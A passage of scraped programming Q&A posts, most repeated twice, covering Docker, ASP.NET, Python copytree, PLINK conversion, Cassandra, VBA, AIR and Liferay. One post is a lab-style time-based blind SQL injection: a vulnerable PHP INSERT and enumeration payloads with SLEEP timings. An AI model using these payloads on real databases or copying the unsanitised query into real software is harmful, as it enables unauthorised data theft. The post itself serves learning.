To export containers, use docker export, to import them again (AS IMAGE without Metadata), use docker import.

You can find out more about the commands and how to use them with docker COMMAND --help.

Sadly you can't migrate running containers, so I advise you to note down the docker run commands you've used to start the containers and then start them again on the other node.

Title: Container migration in Docker


问:
Web Application publishing failed - Visual Studio - C# - ASP.NET
I have a web application developed in ASP.NET that compiles correctly, however it gives the following error when trying to publish it.

```Copying file obj\Debug\CoreCompileInputs.cache to obj\Release\AspnetCompileMerge\Source\obj\Debug\CoreCompileInputs.cache failed. Could not find file 'obj\Debug\CoreCompileInputs.cache'.```

Screenshot 1

We use three computers to publish this application (generate the Web Deploy Package). In one of these PCs the problem seems to be solved by following this steps:

Close all Visual Studio tabs

Clean Solution

Close Visual Studio

Open Visual Studio

Recompile

Publish

But on the other two computers the following error continues to appear:

```Error reading resource 'ProjectCycle.obj.Debug.ProjectCycle.Migrations.ModelsMerge.resources' -- 'Could not find file 'C:\Users\Chiappa\Documents\GitHub\ProjectCycle\ProjectCycle\ProjectCycle\obj\Debug\ProjectCycle.Migrations.ModelsMerge.resources'.' ProjectCycle    C:\Users\Chiappa\Documents\GitHub\ProjectCycle\ProjectCycle\ProjectCycle\CSC```

Screenshot 2

Any idea why this might be happening?

Suggestions on how to correct this problem?

Summary:

I have an ASP.NET web application that compiles correctly but fails when trying to generate the Web Deploy Package.

答:
I solved the problem by excluding the "obj" folder from the Visual Studio project.

Right clic on the "obj" folder in the Solution Explorer, Exclude From Project.

As simple as that!

Body:
I have a web application developed in ASP.NET that compiles correctly, however it gives the following error when trying to publish it.

Copying file obj\Debug\CoreCompileInputs.cache to obj\Release\AspnetCompileMerge\Source\obj\Debug\CoreCompileInputs.cache failed. Could not find file 'obj\Debug\CoreCompileInputs.cache'.

Screenshot 1

We use three computers to publish this application (generate the Web Deploy Package). In one of these PCs the problem seems to be solved by following this steps:

Close all Visual Studio tabs

Clean Solution

Close Visual Studio

Open Visual Studio

Recompile

Publish

But on the other two computers the following error continues to appear:

Error reading resource 'ProjectCycle.obj.Debug.ProjectCycle.Migrations.ModelsMerge.resources' -- 'Could not find file 'C:\Users\Chiappa\Documents\GitHub\ProjectCycle\ProjectCycle\ProjectCycle\obj\Debug\ProjectCycle.Migrations.ModelsMerge.resources'.' ProjectCycle    C:\Users\Chiappa\Documents\GitHub\ProjectCycle\ProjectCycle\ProjectCycle\CSC

Screenshot 2

Any idea why this might be happening?

Suggestions on how to correct this problem?

Summary:

I have an ASP.NET web application that compiles correctly but fails when trying to generate the Web Deploy Package.


问:
How do I copy an entire directory of files into an existing directory using Python?
Run the following code from a directory that contains a directory named bar (containing one or more files) and a directory named baz (also containing one or more files).  Make sure there is not a directory named foo.

```<code>import shutil
shutil.copytree('bar', 'foo')
shutil.copytree('baz', 'foo')
</code>```

It will fail with:

```<code>$ python copytree_test.py
Traceback (most recent call last):
  File "copytree_test.py", line 5, in <module>
    shutil.copytree('baz', 'foo')
  File "/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/shutil.py", line 110, in copytree
  File "/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/os.py", line 172, in makedirs
OSError: [Errno 17] File exists: 'foo'
</code>```

I want this to work the same way as if I had typed:

```<code>$ mkdir foo
$ cp bar/* foo/
$ cp baz/* foo/
</code>```

Do I need to use shutil.copy() to copy each file in baz into foo? (After I've already copied the contents of 'bar' into 'foo' with shutil.copytree()?)  Or is there an easier/better way?

答:
Here is my pass at the problem.  I modified the source code for copytree to keep the original functionality, but now no error occurs when the directory already exists.  I also changed it so it doesn't overwrite existing files but rather keeps both copies, one with a modified name, since this was important for my application. </p>

```<code>import shutil
import os

def _copytree(src, dst, symlinks=False, ignore=None):
    """
    This is an improved version of shutil.copytree which allows writing to
    existing folders and does not overwrite existing files but instead appends
    a ~1 to the file name and adds it to the destination path.
    """

    names = os.listdir(src)
    if ignore is not None:
        ignored_names = ignore(src, names)
    else:
        ignored_names = set()

    if not os.path.exists(dst):
        os.makedirs(dst)
        shutil.copystat(src, dst)
    errors = []
    for name in names:
        if name in ignored_names:
            continue
        srcname = os.path.join(src, name)
        dstname = os.path.join(dst, name)
        i = 1
        while os.path.exists(dstname) and not os.path.isdir(dstname):
            parts = name.split('.')
            file_name = ''
            file_extension = parts[-1]
            # make a new file name inserting ~1 between name and extension
            for j in range(len(parts)-1):
                file_name += parts[j]
                if j < len(parts)-2:
                    file_name += '.'
            suffix = file_name + '~' + str(i) + '.' + file_extension
            dstname = os.path.join(dst, suffix)
            i+=1
        try:
            if symlinks and os.path.islink(srcname):
                linkto = os.readlink(srcname)
                os.symlink(linkto, dstname)
            elif os.path.isdir(srcname):
                _copytree(srcname, dstname, symlinks, ignore)
            else:
                shutil.copy2(srcname, dstname)
        except (IOError, os.error) as why:
            errors.append((srcname, dstname, str(why)))
        # catch the Error from the recursive copytree so that we can
        # continue with other files
        except BaseException as err:
            errors.extend(err.args[0])
    try:
        shutil.copystat(src, dst)
    except WindowsError:
        # can't copy file access times on Windows
        pass
    except OSError as why:
        errors.extend((src, dst, str(why)))
    if errors:
        raise BaseException(errors)
</code>```

Body:
Run the following code from a directory that contains a directory named bar (containing one or more files) and a directory named baz (also containing one or more files).  Make sure there is not a directory named foo.

import shutil
shutil.copytree('bar', 'foo')
shutil.copytree('baz', 'foo')

It will fail with:

$ python copytree_test.py
Traceback (most recent call last):
  File "copytree_test.py", line 5, in <module>
    shutil.copytree('baz', 'foo')
  File "/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/shutil.py", line 110, in copytree
  File "/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/os.py", line 172, in makedirs
OSError: [Errno 17] File exists: 'foo'

I want this to work the same way as if I had typed:

$ mkdir foo
$ cp bar/* foo/
$ cp baz/* foo/

Do I need to use shutil.copy() to copy each file in baz into foo? (After I've already copied the contents of 'bar' into 'foo' with shutil.copytree()?)  Or is there an easier/better way?

Body:
Here is my pass at the problem.  I modified the source code for copytree to keep the original functionality, but now no error occurs when the directory already exists.  I also changed it so it doesn't overwrite existing files but rather keeps both copies, one with a modified name, since this was important for my application.

import shutil
import os

def _copytree(src, dst, symlinks=False, ignore=None):
    """
    This is an improved version of shutil.copytree which allows writing to
    existing folders and does not overwrite existing files but instead appends
    a ~1 to the file name and adds it to the destination path.
    """

    names = os.listdir(src)
    if ignore is not None:
        ignored_names = ignore(src, names)
    else:
        ignored_names = set()

    if not os.path.exists(dst):
        os.makedirs(dst)
        shutil.copystat(src, dst)
    errors = []
    for name in names:
        if name in ignored_names:
            continue
        srcname = os.path.join(src, name)
        dstname = os.path.join(dst, name)
        i = 1
        while os.path.exists(dstname) and not os.path.isdir(dstname):
            parts = name.split('.')
            file_name = ''
            file_extension = parts[-1]
            # make a new file name inserting ~1 between name and extension
            for j in range(len(parts)-1):
                file_name += parts[j]
                if j < len(parts)-2:
                    file_name += '.'
            suffix = file_name + '~' + str(i) + '.' + file_extension
            dstname = os.path.join(dst, suffix)
            i+=1
        try:
            if symlinks and os.path.islink(srcname):
                linkto = os.readlink(srcname)
                os.symlink(linkto, dstname)
            elif os.path.isdir(srcname):
                _copytree(srcname, dstname, symlinks, ignore)
            else:
                shutil.copy2(srcname, dstname)
        except (IOError, os.error) as why:
            errors.append((srcname, dstname, str(why)))
        # catch the Error from the recursive copytree so that we can
        # continue with other files
        except BaseException as err:
            errors.extend(err.args[0])
    try:
        shutil.copystat(src, dst)
    except WindowsError:
        # can't copy file access times on Windows
        pass
    except OSError as why:
        errors.extend((src, dst, str(why)))
    if errors:
        raise BaseException(errors)


问:
Finding sql-query for time-based blind sqlinjection
I have simple web application that allows to post a message to a MySQL database.
My challenge is to get all the information about that Database.
Unfortunately there's no output so I have to do a time-based blind injection.

This payload works and the response takes 5 seconds to reach the client.

```<code>' RLIKE SLEEP(5) AND '1'='1
</code>```

I have to somehow replace the '1'='1 so I can check for table names or users.

Any idea??

Following is the code with the vulnerable query.

```<code><?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>
</code>```

(Disclaimer: This is a challenge and I'm working on a private server inside a VM. Nothing unethical is going on here)

答:
table and insert for demonstrating possible payloads

```<code>CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;

INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;
</code>```

Some demonstration replacements for payload

invalid table/view name - gets quick response

payload=  1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 0 sec

Error Code: 1146

Table 'test.feedback' doesn't exist

good table name - 5+ seconds

payload=  1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 5.198 sec

1 row(s) affected

bad column name - quick response

payload=  1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 0 sec

Error Code: 1054

Unknown column 'bar' in 'field list'

Body:
I have simple web application that allows to post a message to a MySQL database.
My challenge is to get all the information about that Database.
Unfortunately there's no output so I have to do a time-based blind injection.

This payload works and the response takes 5 seconds to reach the client.

' RLIKE SLEEP(5) AND '1'='1

I have to somehow replace the '1'='1 so I can check for table names or users.

Any idea??

Following is the code with the vulnerable query.

<?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>

(Disclaimer: This is a challenge and I'm working on a private server inside a VM. Nothing unethical is going on here)

Body:
table and insert for demonstrating possible payloads

CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;

INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;

Some demonstration replacements for payload

invalid table/view name - gets quick response

payload=  1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 0 sec

Error Code: 1146

Table 'test.feedback' doesn't exist

good table name - 5+ seconds

payload=  1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 5.198 sec

1 row(s) affected

bad column name - quick response

payload=  1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1

Execution Time : 0 sec

Error Code: 1054

Unknown column 'bar' in 'field list'


问:
How to combine txt file to convert in Plink format
My 26 data files (.txt) (imputed genotypes for each chromosome) look like:

```<code>CHR SNP1 SNP2 SNP3
1   3   1   2   3
1   3   0   2   1
1   0   0   1   0
1   0   3   3   1
1   1   1   0   2

CHR SNP1 SNP2 SNP3
2   1   1   2   2
2   0   3   1   1
2   0   0   1   0
2   0   3   3   2
2   3   2   0   1
</code>```

How I can convert them in plink format (.map and .ped)?

答:
I'll be making some assumptions here. You don't specify what "3" indicates for your genotypes, so I coded it as the default missing genotype for Plink (0). I'm using "R" and "A" as simply shorthand for "Reference" and "Alternate" alleles; plink can read these characters just fine. You'd need to edit the dictionary below if you need it to do something else.

This script essentially transposes the first line of your input to create the columns required in the .map file. It reads the second line to get the chromosome number. The third column is left at the default dummy value of "0" because centimorgans is unknown.

The ped file is generated by converting genotypes from your numeric values to what I'm assuming they represent (again, defined in the python dictionary), including the first six required columns (see https://www.cog-genomics.org/plink2/formats#fam for specifics). Importantly, the FID is simply repeating the IID because I don't know relatedness here. IID (individual ID) is just the row number (1st row is ind_1, 2nd row is ind_2, etc. This is fine so long as the order is identical between your different chromosome files. Phenotype is set to the "missing" value of -9. Format is fine on the test files shown below.

```<code>#!/usr/bin/env python

import sys

infile_name = sys.argv[1]

pedDict = {
"0" : "R R",
"1" : "R A",
"2" : "A A",
"3" : "0 0"
}

def convertToPlink(infile_name):
    with open(infile_name, 'r') as infile:
        header = infile.readline().rstrip().split()
        chromosome = infile.readline().split()[0]
        with open('chr_' + chromosome + '.map', 'w') as mapfile:
            for POS in header[1:]:
                mapfile.write("\t".join([chromosome, chromosome+"_"+POS+"_SNP", "0", POS])+"\n")
    with open(infile_name, 'r') as infile:
        with open('chr_' + chromosome + '.ped', 'w') as pedfile:
            id_index = 0
            for line in infile:
                if not line.startswith("CHR"):
                    id_index += 1
                    IID = "ind_" + str(id_index)
                    line = line.rstrip().split()
                    pedfile.write(" ".join([IID, IID, "0", "0", "0", "-9"]+[pedDict[genotype] for genotype in line][1:])+ "\n")

convertToPlink(infile_name)
</code>```

test input: chr_1.txt

```<code>CHR     59      100     130     165
1       3       1       2       3
1       3       0       2       1
1       0       0       1       0
1       0       3       3       1
1       1       1       0       2
</code>```

executing

```<code>convertToPlink.py chr_1.txt
</code>```

yields two plink-compatible files:

chr_1.map

```<code>1       1_59_SNP        0       59
1       1_100_SNP       0       100
1       1_130_SNP       0       130
1       1_165_SNP       0       165
</code>```

chr_1.ped

```<code>ind_1 ind_1 0 0 0 -9 0 0 R A A A 0 0
ind_2 ind_2 0 0 0 -9 0 0 R R A A R A
ind_3 ind_3 0 0 0 -9 R R R R R A R R
ind_4 ind_4 0 0 0 -9 R R 0 0 0 0 R A
ind_5 ind_5 0 0 0 -9 R A R A R R A A
</code>```

Body:
My 26 data files (.txt) (imputed genotypes for each chromosome) look like:

CHR SNP1 SNP2 SNP3
1   3   1   2   3
1   3   0   2   1
1   0   0   1   0
1   0   3   3   1
1   1   1   0   2

CHR SNP1 SNP2 SNP3
2   1   1   2   2
2   0   3   1   1
2   0   0   1   0
2   0   3   3   2
2   3   2   0   1

How I can convert them in plink format (.map and .ped)?

Body:
I'll be making some assumptions here. You don't specify what "3" indicates for your genotypes, so I coded it as the default missing genotype for Plink (0). I'm using "R" and "A" as simply shorthand for "Reference" and "Alternate" alleles; plink can read these characters just fine. You'd need to edit the dictionary below if you need it to do something else.

This script essentially transposes the first line of your input to create the columns required in the .map file. It reads the second line to get the chromosome number. The third column is left at the default dummy value of "0" because centimorgans is unknown.

The ped file is generated by converting genotypes from your numeric values to what I'm assuming they represent (again, defined in the python dictionary), including the first six required columns (see https://www.cog-genomics.org/plink2/formats#fam for specifics). Importantly, the FID is simply repeating the IID because I don't know relatedness here. IID (individual ID) is just the row number (1st row is ind_1, 2nd row is ind_2, etc. This is fine so long as the order is identical between your different chromosome files. Phenotype is set to the "missing" value of -9. Format is fine on the test files shown below.

#!/usr/bin/env python

import sys

infile_name = sys.argv[1]

pedDict = {
"0" : "R R",
"1" : "R A",
"2" : "A A",
"3" : "0 0"
}

def convertToPlink(infile_name):
    with open(infile_name, 'r') as infile:
        header = infile.readline().rstrip().split()
        chromosome = infile.readline().split()[0]
        with open('chr_' + chromosome + '.map', 'w') as mapfile:
            for POS in header[1:]:
                mapfile.write("\t".join([chromosome, chromosome+"_"+POS+"_SNP", "0", POS])+"\n")
    with open(infile_name, 'r') as infile:
        with open('chr_' + chromosome + '.ped', 'w') as pedfile:
            id_index = 0
            for line in infile:
                if not line.startswith("CHR"):
                    id_index += 1
                    IID = "ind_" + str(id_index)
                    line = line.rstrip().split()
                    pedfile.write(" ".join([IID, IID, "0", "0", "0", "-9"]+[pedDict[genotype] for genotype in line][1:])+ "\n")

convertToPlink(infile_name)

test input: chr_1.txt

CHR     59      100     130     165
1       3       1       2       3
1       3       0       2       1
1       0       0       1       0
1       0       3       3       1
1       1       1       0       2

executing

convertToPlink.py chr_1.txt

yields two plink-compatible files:

chr_1.map

1       1_59_SNP        0       59
1       1_100_SNP       0       100
1       1_130_SNP       0       130
1       1_165_SNP       0       165

chr_1.ped

ind_1 ind_1 0 0 0 -9 0 0 R A A A 0 0
ind_2 ind_2 0 0 0 -9 0 0 R R A A R A
ind_3 ind_3 0 0 0 -9 R R R R R A R R
ind_4 ind_4 0 0 0 -9 R R 0 0 0 0 R A
ind_5 ind_5 0 0 0 -9 R A R A R R A A


问:
cassandra: `sstabledump` output questions
I'm inspecting the output of sstabledump, to gain better understanding of the cassandra data model, and I have some questions

From the output of of sstabledump it seems that

a table is a list of partitions (split by partition key)

a partition is a list of rows (split according to clustering key)

a row is a map of key-value pairs, where the keys belong in a predefined list

Question 1: For each partition, as well as for each row inside a partition, there is a position key. What does this value correspond to? Physical storage details? And how exactly?

Question 2: Each row inside each partition has a type: row key-value pair. Could this type be anything else? If yes, what? If not

why have a value that is always the same?

why is cassandra is classified as wide-column and other similar terms? Looks more like a two-level row storage.

答:
Partition key is the murmur3 hash of whatever you assigned as the primary key. Consistent hashing is used with that hash to determine which node in the cluster that partition belongs to and its replicas. Within each partition data is sorted by clustering key, and then by cell name within the row. The structure is used so redundant things like timestamps if inserted for a row at once is only inserted once as a vint delta sequence from the partitions to save space.

On disk the partitions are sorted in order of this hashed key. The output of the position key is just referring to where in the sstable's data file its located (decompressed byte offset). type can also identify in that spot as a static block, which is located at the beginning of each partition for any static cells or a ranged tombstone marker (beginning or end). Note that values are sometimes for sstabledump repeated in json for readability even if not physically written on disk (ie repeated timestamps).

You can have many of these rows inside a partition, a common datamodel for time series for example is to use timestamp as the clustering key which makes very wide partitions with millions of rows. Pre 3.0 as well the data storage was closer to big table's design. It was essentially a Map<byte[], SortedMap<byte[], Cell>> where the Comparator of the sorted map was changed based on schema. It did not differentiate rows and columns within a partition, and it lead to massive amounts redundant data and was redesigned to fit the query language better.

Some more references:

Explanation of motivation of 3.0 change by DataStax here

Blog post by TLP has a good detailed explanation of the new disk format

CASSANDRA-8099


问:
VBA: Multiplying by a fraction within a loop
My code works below works but I'd like to add one function.  I've got a large data sheet with each line repeated three times.  Within each set of three I've added a month twice.  The purpose is to smooth out forecasted sales into one month and two months beyond the estimated shipping date.  Now I'd like to multiply my the values in column E by factors into column F.  The original line in each set of three will =50%*E:E  in column F, the second line will have =30%*E:E in column F, and the third line will have =20%*E:E in Column F.   This process should be repeated continually for every set of three lines. Problem: My current code does give me the correct value, however the values are two cells lower than they need to be. Thanks for any help in advance! My current code is below:

```<code>Public Sub DateAdd()

Dim r As Long
Dim l As Long
Dim Quant As Long
Dim dttTemp As Date
Dim ws As Worksheet

Set ws = ThisWorkbook.Worksheets("SalesForce Projects")

Application.ScreenUpdating = False

For r = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -1
With ws.Cells(r, 1).EntireRow
    .Copy
    .Resize(2).Offset(1, 0).Insert Shift:=xlDown
End With
dttTemp = ws.Cells(r, "S").Value
ws.Cells(r + 1, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 1,
Day(dttTemp))
ws.Cells(r + 2, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 2,
Day(dttTemp))
Next r

Application.ScreenUpdating = True
</code>```

' This is where my code is bad

```<code>For l = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -3

Quant = ws.Cells(l, "E").Value
ws.Cells(l, "F").Value = Cells(l, "E") * 0.5
ws.Cells(l + 1, "F").Value = Cells(l, "E") * 0.3
ws.Cells(l + 2, "F").Value = Cells(l, "E") * 0.2
Next l

End Sub
</code>```

答:
Why not do it in the first loop like below?</p>

```<code>Public Sub DateAdd()

Dim r As Long
Dim l As Long
Dim Quant As Long
Dim dttTemp As Date
Dim ws As Worksheet

Set ws = ThisWorkbook.Worksheets("SalesForce Projects")

Application.ScreenUpdating = False

For r = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -1
With ws.Cells(r, 1).EntireRow
    .Copy
    .Resize(2).Offset(1, 0).Insert Shift:=xlDown
End With
dttTemp = ws.Cells(r, "S").Value
ws.Cells(r, "F").Value = Cells(r, "E") * 0.5        '\\ First line
ws.Cells(r + 1, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 1, Day(dttTemp))
ws.Cells(r + 1, "F").Value = Cells(r, "E") * 0.3    '\\ Second line
ws.Cells(r + 2, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 2, Day(dttTemp))
ws.Cells(r + 2, "F").Value = Cells(r, "E") * 0.2    '\\ Third line
Next r

Application.ScreenUpdating = True
End Sub
</code>```

Body:
My code works below works but I'd like to add one function.  I've got a large data sheet with each line repeated three times.  Within each set of three I've added a month twice.  The purpose is to smooth out forecasted sales into one month and two months beyond the estimated shipping date.  Now I'd like to multiply my the values in column E by factors into column F.  The original line in each set of three will =50%*E:E  in column F, the second line will have =30%*E:E in column F, and the third line will have =20%*E:E in Column F.   This process should be repeated continually for every set of three lines. Problem: My current code does give me the correct value, however the values are two cells lower than they need to be. Thanks for any help in advance! My current code is below:

Public Sub DateAdd()

Dim r As Long
Dim l As Long
Dim Quant As Long
Dim dttTemp As Date
Dim ws As Worksheet

Set ws = ThisWorkbook.Worksheets("SalesForce Projects")

Application.ScreenUpdating = False

For r = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -1
With ws.Cells(r, 1).EntireRow
    .Copy
    .Resize(2).Offset(1, 0).Insert Shift:=xlDown
End With
dttTemp = ws.Cells(r, "S").Value
ws.Cells(r + 1, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 1,
Day(dttTemp))
ws.Cells(r + 2, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 2,
Day(dttTemp))
Next r

Application.ScreenUpdating = True

' This is where my code is bad

For l = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -3

Quant = ws.Cells(l, "E").Value
ws.Cells(l, "F").Value = Cells(l, "E") * 0.5
ws.Cells(l + 1, "F").Value = Cells(l, "E") * 0.3
ws.Cells(l + 2, "F").Value = Cells(l, "E") * 0.2
Next l

End Sub

Body:
Why not do it in the first loop like below?

Public Sub DateAdd()

Dim r As Long
Dim l As Long
Dim Quant As Long
Dim dttTemp As Date
Dim ws As Worksheet

Set ws = ThisWorkbook.Worksheets("SalesForce Projects")

Application.ScreenUpdating = False

For r = ws.Range("A" & ws.Rows.Count).End(xlUp).Row To 1 Step -1
With ws.Cells(r, 1).EntireRow
    .Copy
    .Resize(2).Offset(1, 0).Insert Shift:=xlDown
End With
dttTemp = ws.Cells(r, "S").Value
ws.Cells(r, "F").Value = Cells(r, "E") * 0.5        '\\ First line
ws.Cells(r + 1, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 1, Day(dttTemp))
ws.Cells(r + 1, "F").Value = Cells(r, "E") * 0.3    '\\ Second line
ws.Cells(r + 2, "S").Value = DateSerial(Year(dttTemp), Month(dttTemp) + 2, Day(dttTemp))
ws.Cells(r + 2, "F").Value = Cells(r, "E") * 0.2    '\\ Third line
Next r

Application.ScreenUpdating = True
End Sub


问:
date manipulation in AIR
I have:

```<code>targetFile = air.File.desktopDirectory.resolvePath('myFolder' + files[f].name);
files[f].moveTo(targetFile,true); // Overwrite
</code>```

I would like to make a backup copy of targetFile before overwriting it.

Maybe something with datetime stamp so that I have infinite backups, which of course would get cleared out periodically (read: once every blue moon).

答:
```<code>(function() {
    Date.prototype.toYMD = Date_toYMD;
    function Date_toYMD() {
        var year, month, day;
        year = String(this.getFullYear());
        month = String(this.getMonth() + 1);
        if (month.length == 1) {
            month = "0" + month;
        }
        day = String(this.getDate());
        if (day.length == 1) {
            day = "0" + day;
        }
        return '' + year + month + day;
    }
})();

(function() {
    Date.prototype.toHMS = Date_toHMS;
    function Date_toHMS() {
        var hour, minute, second;
        hour = String(this.getHours());
        minute = String(this.getMinutes());
        second = String(this.getSeconds());
        return '' + hour + minute + second;
    }
})();
</code>```

and then

```<code>var dt = new Date();
var ArcBakFile = air.File.desktopDirectory.resolvePath('myDir/myFile.' + dt.toYMD() + '.' + dt.toHMS() + '.txt');
</code>```

Title: date manipulation in AIR

Body:
I have:

targetFile = air.File.desktopDirectory.resolvePath('myFolder' + files[f].name);
files[f].moveTo(targetFile,true); // Overwrite

I would like to make a backup copy of targetFile before overwriting it.

Maybe something with datetime stamp so that I have infinite backups, which of course would get cleared out periodically (read: once every blue moon).

Body:
(function() {
    Date.prototype.toYMD = Date_toYMD;
    function Date_toYMD() {
        var year, month, day;
        year = String(this.getFullYear());
        month = String(this.getMonth() + 1);
        if (month.length == 1) {
            month = "0" + month;
        }
        day = String(this.getDate());
        if (day.length == 1) {
            day = "0" + day;
        }
        return '' + year + month + day;
    }
})();

(function() {
    Date.prototype.toHMS = Date_toHMS;
    function Date_toHMS() {
        var hour, minute, second;
        hour = String(this.getHours());
        minute = String(this.getMinutes());
        second = String(this.getSeconds());
        return '' + hour + minute + second;
    }
})();

and then

var dt = new Date();
var ArcBakFile = air.File.desktopDirectory.resolvePath('myDir/myFile.' + dt.toYMD() + '.' + dt.toHMS() + '.txt');


问:
Liferay 7: hidden aui input won't set value based on parameter
I have an entity with a primary key and two other fields.
I am able to display them in a Search Container in my primary View JSP, and I want to implement an edit/update function, so I created a different JSP for that. I pass the properties of the entity I wish to edit in portlet:renderURL portlet:param tags just like this:

```<code><portlet:renderURL var="editEntity">
    <portlet:param name="jspPage" value="/update-page.jsp" />
    <portlet:param name="primaryKey" value="<%= entityId %>" />
    <portlet:param name="name" value="<%= entityName%>" />
    <portlet:param name="description" value="<%= entityDesc%>" />
</portlet:renderURL>
</code>```

In the update-page JSP if I set any input field hidden, the parameter based values disappear, so the controller cannot process the fields' values.

i.e.:

```<code><aui:input name="primaryKey" type="hidden" value="${primaryKey}" />
<aui:input name="primaryKey" type="hidden" value="${name}" />
<aui:input name="primaryKey" type="hidden" value="${description}" />
</code>```

Note: I only want to hide the primary key field, the controller servlet should be able to process it and update my entity based on the primary key, like this:

```<code><aui:input name="primaryKey" type="text" value="${name}" />
<aui:input name="primaryKey" type="text" value="${description}" />
</code>```

The funny thing is, that everything just works when I set the input fields text type, but I wouldn't want the users to enter the primary key, duh...

Any ideas how could I fix this?

答:
It's work for me

view.jsp

```<code><%@ include file="init.jsp" %>
<portlet:actionURL name="testURL" var="testURL" />
<aui:form name="fm" method="post" action="<%= testURL.toString()%>">
 <aui:input name="primaryKey" type="hidden" value="123" />
 <aui:button-row>
        <aui:button name="submit" type="submit" value="OK"  />
    </aui:button-row>
</aui:form>
</code>```

TestmvcportletPortlet.java

```<code>package com.example.portlet;

import com.liferay.portal.kernel.exception.SystemException;
import com.liferay.portal.kernel.portlet.bridges.mvc.MVCPortlet;
import com.liferay.portal.kernel.util.ParamUtil;

import javax.portlet.ActionRequest;
import javax.portlet.ActionResponse;
import javax.portlet.Portlet;
import javax.portlet.ProcessAction;

import org.osgi.service.component.annotations.Component;

@Component(
 immediate = true,
 property = {
  "com.liferay.portlet.display-category=category.sample",
  "com.liferay.portlet.instanceable=true",
  "javax.portlet.display-name=Test Portlet",
  "javax.portlet.init-param.template-path=/",
  "javax.portlet.init-param.view-template=/view.jsp",
  "javax.portlet.resource-bundle=content.Language",
  "javax.portlet.security-role-ref=power-user,user"
 },
 service = Portlet.class
)
public class TestmvcportletPortlet extends MVCPortlet {

 @ProcessAction(name = "testURL")
    public void addBook(ActionRequest actionRequest,ActionResponse actionResponse) throws SystemException {
      String a = ParamUtil.getString(actionRequest, "primaryKey");
      System.out.println("Value is "+a);

    }
}
</code>```

have you found anything that you missed code?

Body:
I have an entity with a primary key and two other fields.
I am able to display them in a Search Container in my primary View JSP, and I want to implement an edit/update function, so I created a different JSP for that. I pass the properties of the entity I wish to edit in portlet:renderURL portlet:param tags just like this:

<portlet:renderURL var="editEntity">
    <portlet:param name="jspPage" value="/update-page.jsp" />
    <portlet:param name="primaryKey" value="<%= entityId %>" />
    <portlet:param name="name" value="<%= entityName%>" />
    <portlet:param name="description" value="<%= entityDesc%>" />
</portlet:renderURL>

In the update-page JSP if I set any input field hidden, the parameter based values disappear, so the controller cannot process the fields' values.

i.e.:

<aui:input name="primaryKey" type="hidden" value="${primaryKey}" />
<aui:input name="primaryKey" type="hidden" value="${name}" />
<aui:input name="primaryKey" type="hidden" value="${description}" />

Note: I only want to hide the primary key field, the controller servlet should be able to process it and update my entity based on the primary key, like this:

<aui:input name="primaryKey" type="text" value="${name}" />
<aui:input name="primaryKey" type="text" value="${description}" />

The funny thing is, that everything just works when I set the input fields text type, but I wouldn't want the users to enter the primary key, duh...

Any ideas how could I fix this?

Body:
It's work for me

view.jsp

<%@ include file="init.jsp" %>
<portlet:actionURL name="testURL" var="testURL" />
<aui:form name="fm" method="post" action="<%= testURL.toString()%>">
 <aui:input name="primaryKey" type="hidden" value="123" />
 <aui:button-row>
        <aui:button name="submit" type="submit" value="OK"  />
    </aui:button-row>
</aui:form>

TestmvcportletPortlet.java

package com.example.portlet;

import com.liferay.portal.kernel.exception.SystemException;
import com.liferay.portal.kernel.portlet.bridges.mvc.MVCPortlet;
import com.liferay.portal.kernel.util.ParamUtil;

import javax.portlet.ActionRequest;
import javax.portlet.ActionResponse;
import javax.portlet.Portlet;
import javax.portlet.ProcessAction;

import org.osgi.service.component.annotations.Component;

@Component(
 immediate = true,
 property = {
  "com.liferay.portlet.display-category=category.sample",
  "com.liferay.portlet.instanceable=true",
  "javax.portlet.display-name=Test Portlet",
  "javax.portlet.init-param.template-path=/",
  "javax.portlet.init-param.view-template=/view.jsp",
  "javax.portlet.resource-bundle=content.Language",
  "javax.portlet.security-role-ref=power-user,user"
 },
 service = Portlet.class
)
public class TestmvcportletPortlet extends MVCPortlet {

